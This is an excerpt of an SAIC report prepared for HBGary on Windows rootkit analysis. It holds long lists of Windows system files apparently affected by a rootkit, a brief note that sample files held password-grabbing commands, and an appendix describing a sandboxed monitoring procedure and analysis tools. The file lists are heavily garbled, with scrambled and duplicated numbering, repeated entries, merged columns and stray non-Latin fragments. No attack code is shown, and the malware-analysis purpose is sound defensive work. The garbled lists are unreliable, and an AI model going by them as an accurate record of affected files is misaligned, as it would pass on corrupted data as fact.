mqtsvc.exe, 48:
mqrtrg.dll, 49:
mqupgrd.dll, 50:
mqutil.dll, 51:
mrinfo.exe, 52:
MRT.exe, 53:
msaatext.dll, 54:
msacm.dll, 55:
msacm32.dll, 56:
msacm32.drv,
57: msadds32.ax,
58:
msadp32.acm,
59: msafdl.dll,
60: msapspc.dll,
61: msasn1.dll,
62:
msaud32.acm,
63: msaudite.dll,
64: msca32.dll,
65:
mscomntt.dll,
66: mscom.dll,
67: msconff.dll,
68: mscoree.dll,
69: mscorei.dll,
70: mscories.dll,
71:
mscpx32r.dll,
72: msclipx32.dll,
73: msctfdll.dll,
74:
msctftime.ime,
75: msctfp.dll,
76: msdatdiag.dll,
77: msdart.dll,
78: msdatsrc.tlb,
79: msdmo.dll,
80: MsDtc, 81:
msdtc.exe, 82:
msdtelog.dll, 83:
msdtcprf.h, 84:
msdtcprf.ini, 85:
msdtcprx.dll, 86:
msdtctcm.dll, 87:
msdtcuiu.dll, 88:
msdxmocx.dll, 89:
msdxmoc.dll, 90:
msencode.dll,
91:
msexch40.dll,
92: msxml4.dll, 93:
msfeeds.dll, 94:
msfeedsbs.dll,
95:
msfeedssync.exe,
96: msftedit.dll,
97: msg.exe, 98:
msg.dll, 99:
msg.dll, 100: msgrina.dll,
101:
msgsm32.dll,
102: msgsvc.dll,
103:
msh2.dll,
104:
msh4.dll,
105:
mshearts.exe,
106: mshta.exe,
107: mshtmld.dll,
108: mshtmld.dll,
109:
msh2.dll,
110:
msh2.dll,
111: msi.dll,
112: msident.dll,
113: msidler.dll,
114:
msidnld.dll,
115:
msihlp.dll,
116: mshlp.dll,
117: msidler.dll,
118: msidler.dll,
119: msidler.dll,
120: msidler.dll,
121: msidler.dll,
122: msidler.dll,
115: msieftp.dll, 140: mstext40.dll, mstext40.dll,
116: msiexec.exe, 141: mspmsnv.dll, mspmsnv.dll,
117: msihnd.dll, 142: msports.dll, mstscapi.dll,
118: msimg32.dll, 143: msprivs.dll, msstcexe.dll,
119: msimsg.dll, 144: msr2c.dll, msstca.dll,
120: msimtf.dll, 145: mstlsapi.dll, mstlsapi.dll,
121: msisip.dll, 146: msratecl.dll, mstsc.dll,
122: msjet40.dll, 147: msrateoc.dll, mstscax.dll,
123: msjetoledb40.dll, 148: msrateoc.dll, mstscax.dll,
124: msjint40.dll, 149: msrateoc.dll, mstscax.dll,
125: msjter40.dll, 150: msrateoc.dll, mstscax.dll,
126: msjtes40.dll, 151: msrcl.dll, mstscax.dll,
127: mslbui.dll, 152: msrcl.dll, mstscax.dll,
128: msls31.dll, 153: msrcl.dll, mstscax.dll,
129: mslus40.dll, 154: msrcl.dll, mstscax.dll,
130: msnetobj.dll, 155: msrcl.dll, mstscax.dll,
131: msnsspc.dll, 156: msrcl.dll, mstscax.dll,
132: msobjs.dll, 157: msrcl.dll, mstscax.dll,
133: msoeacct.dll, 158: msrcl.dll, mstscax.dll,
134: msoert2.dll, 159: msrcl.dll, mstscax.dll,
135: msorc32r.dll, 160: msrcl.dll, mstscax.dll,
136: msorc32r.dll, 161: msrcl.dll, mstscax.dll,
137: msorc32r.dll, 162: msrcl.dll, mstscax.dll,
138: msorc32r.dll, 163: msrcl.dll, mstscax.dll,
139: msorc32r.dll, 164: msrcl.dll, mstscax.dll,
140: msorc32r.dll, 165: msrcl.dll, mstscax.dll,
166: msptime.dll, 167: msptime.dll, mstscax.dll,
168: msptime.dll, 169: msptime.dll, mstscax.dll,
169: msptime.dll, 170: msptime.dll, mstscax.dll,
170: msptime.dll, 171: msptime.dll, mstscax.dll,
171: msptime.dll, 172: msptime.dll, mstscax.dll,
172: msptime.dll, 173: msv1_0.dll, mstscax.dll,
173: msptime.dll, 174: msv1_0.dll, mstscax.dll,
174: msstime.dll, 175: msv1_0.dll, mstscax.dll,
175: msstime.dll, 176: msv1_0.dll, mstscax.dll,
176: msstime.dll, 177: msv1_0.dll, mstscax.dll,
177: msstime.dll, 178: msv1_0.dll, mstscax.dll,
178: msstime.dll, 179: msv1_0.dll, mstscax.dll,
179: msstime.dll, 180: msv1_0.dll, mstscax.dll,
180: msstime.dll, 181: msv1_0.dll, mstscax.dll,
181: msstime.dll, 182: msv1_0.dll, mstscax.dll,
182: msstime.dll, 183: msv1_0.dll, mstscax.dll,
183: msstime.dll, 184: msv1_0.dll, mstscax.dll,
184: msstime.dll, 185: msv1_0.dll, mstscax.dll,
185: msstime.dll, 186: msv1_0.dll, mstscax.dll,
186: msstime.dll, 187: msv1_0.dll, mstscax.dll,
187: msstime.dll, 188: msv1_0.dll, mstscax.dll,
188: msstime.dll, 189: msv1_0.dll, mstscax.dll,
189: msstime.dll, 190: msv1_0.dll, mstscax.dll,
190: mswstr10.dll,
191: msxbde40.dll,
192: msxml.dll,
193: msxml2.dll,
194: msxml2r.dll,
195: msxml3.dll,
196: msxml3r.dll,
197: msxml6.dll,
198: msxml6r.dll,
199: msxmlr.dll,
200: msyuv.dll,
201: mtxclu.dll,
202: mtxdm.dll,
203: mtxex.dll,
204: mtxlegih.dll,
205: mtxoci.dll,
206: mtxparhd.dll,
207: mui.dll,
208: mycomput.dll,
209: mydocs.dll,
210: napipsec.dll,
211: napmontr.dll,
212: napstat.exe,
213: narrator.exe,
214: narrhook.dll,
215: nbtstat.exe,
216: nobjapi.dll,
217: ncpa.cpl,
218: ncpa.cpl.manifest,
219: ncpa.pif.manifest,
220: nddapi.dll,
221: nddeapir.exe,
222: nddenb32.dll,
223: ndptsp.tsp,
224: net.exe,
225: net.hlp,
226: net1.exe,
227: netapi.dll,
228: netapi32.dll,
229: netcfgx.dll,
230: netdde.exe,
231: netevent.dll,
232: netfxperf.dll,
233: net.hdl,
234: netid.dll,
235: netlogon.dll,
236: netman.dll,
237: netmsg.dll

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
rdshost.exe, 68: 106: rsmui.exe, scardsvr.exe,
recover.exe, 69: 107: rsnotify.exe, 139: sccbase.dll,
redir.exe, 70: 108: rsop.msc, 140: sccsctp.dll,
reg.exe, 71: 109: rsopprov.exe, 141: scecli.dll,
regapi.dll, 72: 110: rsvp.exe, 142: sceserv.dll,
regedt32.exe, 73: 111: rsvp.ini, 143: schedsvc.dll,
regini.exe, 74: 112: rsupgrade.h, 144: schtasks.exe,
regsvc.dll, 75: 113: rsvvpmsg.dll, 145: scriptpw.dll,
regsvr32.exe, 76: 114: rsupperf.dll, 146: scrgntfy.dll,
regwiz.exe, 77: 115: rsvspl.dll, 147: sccredir.dll,
regwizc.dll, 78: 116: rtm.dll, 148: scripting,
ReinstallBackups, 79: 117: rtipxmb.dll, 149: scriptpaw.dll,
, 79: relog.exe, 118: rtm.dll, 119: scrsave.scr,
80: remotepg.dll, 120: rututls.dll, 150: scrobj.dll,
81: remotesp.tsp, 121: runas.exe, 151: scrrun.dll,
82: rend.dll, 83: 122: runonex.exe, 152: sdbinst.exe,
replace.exe, 84: 123: rwinsta.exe, 153: sdhicinst.dll,
reset.exe, 85: 124: rwhn.dll, 154: sdphblb.dll,
Restore, 86: 125: s3gnb.dll, 155: secedit.exe,
resutils.dll, 87: 126: safcredlg.dll, 156: secb3.dll,
rexec.exe, 88: 127: safrdm.dll, 157: secedit.dll,
rhtppaa.dll, 89: 128: safsrlv.dll, 158: secpol.msc,
riched20.dll, 90: 129: samlib.dll, 159: secudp.dat,
riched32.dll, 91: 130: samsrv.dll, 160: secudp.sig,
rnr20.dll, 92: 131: 161: secur32.dll,
route.exe, 93: 132: scriap.dll, 162: security.dll,
routemon.exe, 94: routetab.dll, 127: safredlg.dll, 163: secdmsg.dll,
rpccs.dll, 98: 129: samlib.dll, 165: sens.dll,
rsaci.rat, 99: 130: samsrv.dll, 166: sensapi.dll,
rsaenh.dll, 100: 131: 167: senscfg.dll,
rsfsaps.dll, 101: 132: sapi.cpl.manifest, 168: serialui.dll,
rsh.exe, 102: 133: sbe.dll, 134: 169: sen لديلا،
rshx32.dll, 103: 135: sbeio.dll, 136: 170: senscfg.dll,
rm.exe, 104: 136: sc.exe, 136: 171: senscfg.dll,
rsmps.dll, 105: 137: scardll.dll, 137: 172: sen لديلا،

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Number</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>39</td>
<td>wiaservc.dll</td>
</tr>
<tr>
<td>40</td>
<td>wiasf.ax</td>
</tr>
<tr>
<td>41</td>
<td>wiashext.dll</td>
</tr>
<tr>
<td>42</td>
<td>wiavideo.dll</td>
</tr>
<tr>
<td>43</td>
<td>wiavusd.dll</td>
</tr>
<tr>
<td>44</td>
<td>wifeman.dll</td>
</tr>
<tr>
<td>45</td>
<td>win.com</td>
</tr>
<tr>
<td>46</td>
<td>win32k.sys</td>
</tr>
<tr>
<td>47</td>
<td>win32spl.dll</td>
</tr>
<tr>
<td>48</td>
<td>win87em.dll</td>
</tr>
<tr>
<td>49</td>
<td>winbrand.dll</td>
</tr>
<tr>
<td>50</td>
<td>winchat.exe</td>
</tr>
<tr>
<td>51</td>
<td>windowscodecs.dll</td>
</tr>
<tr>
<td>52</td>
<td>windowscodecs.extdll</td>
</tr>
<tr>
<td>53</td>
<td>WindowsLogon.manifest</td>
</tr>
<tr>
<td>54</td>
<td>winfax.dll</td>
</tr>
<tr>
<td>55</td>
<td>WinFXDocObject.exe</td>
</tr>
<tr>
<td>56</td>
<td>winhelp.hlp</td>
</tr>
<tr>
<td>57</td>
<td>winhp32.exe</td>
</tr>
<tr>
<td>58</td>
<td>winhttp.dll</td>
</tr>
<tr>
<td>59</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>60</td>
<td>winipsec.dll</td>
</tr>
<tr>
<td>61</td>
<td>winlogon.exe</td>
</tr>
<tr>
<td>62</td>
<td>winmine.exe</td>
</tr>
<tr>
<td>63</td>
<td>winmm.dll</td>
</tr>
<tr>
<td>64</td>
<td>winmsd.exe</td>
</tr>
<tr>
<td>65</td>
<td>winnls.dll</td>
</tr>
<tr>
<td>66</td>
<td>winntbbu.dll</td>
</tr>
<tr>
<td>67</td>
<td>winoldap.mod</td>
</tr>
<tr>
<td>68</td>
<td>winnr.dll</td>
</tr>
<tr>
<td>69</td>
<td>wins.exe</td>
</tr>
<tr>
<td>70</td>
<td>winscard.dll</td>
</tr>
<tr>
<td>71</td>
<td>winshfhc.dll</td>
</tr>
<tr>
<td>72</td>
<td>winsock.dll</td>
</tr>
<tr>
<td>73</td>
<td>winspool.drv</td>
</tr>
<tr>
<td>74</td>
<td>winspool.exe</td>
</tr>
<tr>
<td>75</td>
<td>winrv.dll</td>
</tr>
<tr>
<td>76</td>
<td>winsta.dll</td>
</tr>
<tr>
<td>77</td>
<td>winstrm.dll</td>
</tr>
<tr>
<td>78</td>
<td>wintrust.dll</td>
</tr>
<tr>
<td>79</td>
<td>winver.exe</td>
</tr>
<tr>
<td>80</td>
<td>wkssvc.dll</td>
</tr>
<tr>
<td>81</td>
<td>wlanapi.dll</td>
</tr>
<tr>
<td>82</td>
<td>wldap32.dll</td>
</tr>
<tr>
<td>83</td>
<td>wlnotify.dll</td>
</tr>
<tr>
<td>84</td>
<td>wmadmod.dll</td>
</tr>
<tr>
<td>85</td>
<td>wmadmoe.dll</td>
</tr>
<tr>
<td>86</td>
<td>wmasf.dll</td>
</tr>
<tr>
<td>87</td>
<td>wmdmlog.dll</td>
</tr>
<tr>
<td>88</td>
<td>wmdmps.dll</td>
</tr>
<tr>
<td>89</td>
<td>wmerenu.dll</td>
</tr>
<tr>
<td>90</td>
<td>wmerror.dll</td>
</tr>
<tr>
<td>91</td>
<td>wmi.dll</td>
</tr>
<tr>
<td>92</td>
<td>wmi.dll</td>
</tr>
<tr>
<td>93</td>
<td>wmidx.dll</td>
</tr>
<tr>
<td>94</td>
<td>wmimgmt.msc</td>
</tr>
<tr>
<td>95</td>
<td>wmirop.dll</td>
</tr>
<tr>
<td>96</td>
<td>wmiscmgr.dll</td>
</tr>
<tr>
<td>97</td>
<td>wmp.dll</td>
</tr>
<tr>
<td>98</td>
<td>wmp.dll</td>
</tr>
<tr>
<td>99</td>
<td>wmpasf.dll</td>
</tr>
<tr>
<td>100</td>
<td>wmpcore.dll</td>
</tr>
<tr>
<td>101</td>
<td>wmpcd.dll</td>
</tr>
<tr>
<td>102</td>
<td>wmpcore.dll</td>
</tr>
<tr>
<td>103</td>
<td>wmpcx.dll</td>
</tr>
<tr>
<td>104</td>
<td>wmploc.dll</td>
</tr>
<tr>
<td>105</td>
<td>wmpshell.dll</td>
</tr>
<tr>
<td>106</td>
<td>wmpui.dll</td>
</tr>
<tr>
<td>107</td>
<td>wmsdmod.dll</td>
</tr>
<tr>
<td>108</td>
<td>wmsdmoe.dll</td>
</tr>
<tr>
<td>109</td>
<td>wmsdmoe2.dll</td>
</tr>
<tr>
<td>110</td>
<td>wmspdmod.dll</td>
</tr>
<tr>
<td>111</td>
<td>wmspdmod.dll</td>
</tr>
<tr>
<td>112</td>
<td>wmspdmod.dll</td>
</tr>
<tr>
<td>113</td>
<td>wmsstream.dll</td>
</tr>
<tr>
<td>114</td>
<td>wmv8ds32.ax</td>
</tr>
<tr>
<td>115</td>
<td>wmvcore.dll</td>
</tr>
<tr>
<td>116</td>
<td>wmvcore.dll</td>
</tr>
<tr>
<td>117</td>
<td>wmvcore.dll</td>
</tr>
<tr>
<td>118</td>
<td>wmvds32.ax</td>
</tr>
<tr>
<td>119</td>
<td>wow32.exe</td>
</tr>
<tr>
<td>120</td>
<td>wowdeh.exe</td>
</tr>
<tr>
<td>121</td>
<td>wowexec.exe</td>
</tr>
<tr>
<td>122</td>
<td>wowfax.dl</td>
</tr>
<tr>
<td>123</td>
<td>wpmapi.dll</td>
</tr>
<tr>
<td>124</td>
<td>wpabaln.exe</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Attached with this were files containing text files that appeared to be program files. Looking at them with out to much knowledge in programming they contained commands to GET PW or to look for specific information. I have attached a screen shot of the files below and also attached one of many of the text files screen shots to give you an overview. I highlighted some of the commands of interest.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-235-
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Miscellaneous Information and Summary

This root kit is changes the dlls and registries. It also appears to be loading programs to gather information for the system in order to change the information to hide itself.
Appendix
Windows Rootkit Monitoring Procedures

Table of Contents

Ghost Image Boot Disks ................................................................................................. ii
Monitoring Tools ........................................................................................................... ii
Monitoring Process for Windows Rootkit Analysis ....................................................... iv
References ....................................................................................................................... v

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
**Ghost Image Boot Disks**

Starting the monitoring procedure for each bot or rootkit requires a clean system. For the purposes of this project there have been two sets of ghost image boot disks created. Microsoft Windows XP sp1a (unpatched) and Microsoft Windows XP sp2 (fully patched). Each of these images contains a folder called DellLaptopBuild, within this folder are several monitoring tools; they are not installed.

1) Instructions for restore:

2) Insert Ghost restore disk 1 of 2 (for sp1a) or 1 of 5 (for sp2)

3) Boot to CD (F12)

4) Select Option 1: Boot with CD support

5) At the D: prompt, type `ghost` then enter

6) OK

7) Local: partition: from image

8) Select the .gho file

9) Select source partition from image file - OK

10) Select local destination drive - OK

11) Select destination partition from Basic drive - OK

12) Insert disk 2 of 2 when prompted (or 2 of 5, continue for all five then move on to next step)

13) Exit, remove CD and reboot when complete

**Monitoring Tools** (all tools need not be utilized on each bot or rootkit)

<table>
<thead>
<tr>
<th>AutoRuns</th>
<th>Snort</th>
<th>TCPView</th>
</tr>
</thead>
<tbody>
<tr>
<td>LiveKD</td>
<td>Wireshark</td>
<td>Flypaper</td>
</tr>
<tr>
<td>ProcessExplorer</td>
<td>Handle</td>
<td>FastDump</td>
</tr>
<tr>
<td>ProcessMonitor</td>
<td>Osiris</td>
<td></td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
**AutoRuns** – “This utility, which has the most comprehensive knowledge of auto-starting locations of any startup monitor, shows you what programs are configured to run during system bootup or login, and shows you the entries in the order Windows processes them” (Russinovich; Cogswell, 2008).

**Handle** – “is a utility that displays information about open handles for any process in the system. You can use it to see the programs that have a file open, or to see the object types and names of all the handles of a program” (Russinovich, 2008).

**ProcessExplorer (GUI-based version of Handle)** – “shows you information about which handles and DLLs processes have opened or loaded. The unique capabilities of *Process Explorer* make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work” (Russinovich, 2008).

**ProcessMonitor** – “is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It combines the features of two legacy Sysinternals utilities, *Filemon* and *Regmon*, and adds an extensive list of enhancements including rich and non-destructive filtering, comprehensive event properties such session IDs and user names, reliable process information, full thread stacks with integrated symbol support for each operation, simultaneous logging to a file, and much more“ (Russinovich; Cogswell, 2008).

**SNORT®** – “is an open source network intrusion prevention and detection system utilizing a rule-driven language, which combines the benefits of signature, protocol and anomaly based inspection methods” (Roesch, 1998).

**Wireshark** – is a network protocol analyzer (Combs, 1998).

**TCPView** – is a Windows program that will show you detailed listings of all TCP and UDP endpoints on your system, including the local and remote addresses and state of TCP connections. On Windows Server 2008, Vista, NT, 2000 and XP TCPView also reports the name of the process that owns the endpoint” (Russinovich, 2008).

**Osiris** – “Osiris is a Host Integrity Monitoring System that periodically monitors one or more hosts for change. It maintains detailed logs of changes to the file system, user and group lists, resident kernel modules, and more” (Wotring, 2005).

**LiveKD** – “allows you to run the Kd and Windbg Microsoft kernel debuggers, which are part of the Debugging Tools for Windows package, locally on a live system. Execute all the debugger commands that work on crash dump files to look deep inside the system.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
See the Debugging Tools for Windows documentation and our book for information on how to explore a system with the kernel debuggers” (Russinovich, 2006).

**FastDump** – “is the industry's most forensically sound windows memory dumping utility” (HBGary, 2008).

**Flypaper** – “loads as a device driver and blocks all attempts to exit a process, end a thread, or delete memory. All components used by the malware will remain resident in the process list, and will remain present in physical memory. The entire execution chain is reported so you can follow each step. Then, once you dump physical memory for analysis, you have all the components 'frozen' in memory - nothing gets unloaded” (HBGary, 2008).

**Monitoring Process for Windows Rootkit Analysis**

Restore the computer system using the WinXPsp2 image

1) Launch the monitoring tools

2) Monitor the clean system and save logs and or text files for baseline comparison purposes

3) Run the executable files within the rootkit

4) Note the following possible areas of activity during install and while running: (save log or text files where applicable)
   a. Registry
   b. File
   c. Network
   d. Process
   e. Any other system activity changes

5) If the rootkit does not work repeat the same steps as above using the WinXPsp1a image.

6) Restore the computer system using the ghost image prior to running another rootkit.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
References


